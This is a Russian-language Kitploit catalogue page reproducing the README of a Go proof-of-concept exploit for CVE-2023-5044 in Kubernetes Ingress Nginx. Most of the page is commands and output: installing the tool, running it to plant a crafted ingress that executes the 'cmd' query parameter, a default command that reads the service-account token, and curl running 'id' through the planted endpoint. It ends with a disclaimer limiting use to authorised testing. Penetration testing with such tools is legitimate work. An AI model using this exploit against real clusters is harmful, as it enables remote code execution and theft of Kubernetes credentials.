Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2023-5044 — Эксплойт для проверки концепции на Go для CVE-2023-5044 в Ingress Nginx, автоматизирующий удалённое выполнение кода через специально созданные объекты ingress в кластерах Kubernetes. | Kitploit
Инструменты/GitHubGitHub/4armed/cve-2023-5044
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность облачных средКомандование и УправлениеRed Teaming
GitHub4armed/cve-2023-5044

cve-2023-5044

Эксплойт для проверки концепции на Go для CVE-2023-5044 в Ingress Nginx, автоматизирующий удалённое выполнение кода через специально созданные объекты ingress в кластерах Kubernetes.

212 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2023-5044 Ingress Nginx Exploit Proof-Of-Concept

Это быстрая программа на Go для эксплуатации недавней уязвимости CVE в контроллере Ingress Nginx.

Подробности о том, как это сделать, уже опубликованы в блоге Rory McCune по адресу https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/, данный инструмент лишь немного автоматизирует процесс и улучшает эксплойт, делая его более гибкой и универсальной полезной нагрузкой для удаленного выполнения кода.

Установка

root@kitploit:~
% go install github.com/4armed/cve-2023-5044@latest

Тестовый кластер

Вам понадобится кластер для тестирования, работающий на уязвимой версии ingress-nginx (очевидно). Если у вас нет такого кластера, вы можете создать Kind-кластер, клонировав этот репозиторий и используя Makefile в папке deploy.

root@kitploit:~
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up

Если оставить файл kind.yaml без изменений, вы получите кластер, привязанный к вашему локальному хосту на портах 30080 и 30443.

Использование

root@kitploit:~
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"

Строка 'checking permissions' появляется из-за того, что инструмент выполняет Subject Access Review для проверки наличия прав на создание ingress. Если прав нет, он завершится на этом этапе. Если у вас есть права на редактирование существующего ingress, вы, безусловно, можете использовать эксплойт для достижения компрометации, но автоматизировать обновление существующего ingress без поломки слишком сложно.

Путь по умолчанию для запуска эксплойта — /4armed, он читает и выполняет значение параметра cmd из строки запроса.

Он выведет пример URL с командой по умолчанию cat /var/run/secrets/kubernetes.io/serviceaccount/token. Вы можете изменить это с помощью флага -e или просто указать другое значение в параметре cmd. Эксплойт не жестко закодирован. Развертывать новый ingress не нужно.

root@kitploit:~
%  curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)

Имя объекта ingress генерируется случайным образом с помощью GenerateName, поэтому обращайте внимание на вывод и удаляйте его после использования.

root@kitploit:~
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted

Если вы хотите просто сгенерировать объект ingress, используйте:

root@kitploit:~
% cve-2023-5044 generate

Отказ от ответственности

Этот инструмент предназначен только для тестирования на кластере, на который у вас есть разрешение. Если вы используете его против кластера, независимо от наличия разрешения, автор не несет ответственности за любой ущерб или проблемы, вызванные этим. Были приняты все меры предосторожности при выборе значений путей, которые не конфликтуют с существующими; вы можете переопределить их с помощью флагов или изменить код, если необходимо, но всё равно можете что-то сломать. Убедитесь, что вы знаете, что делаете.

Скачать инструмент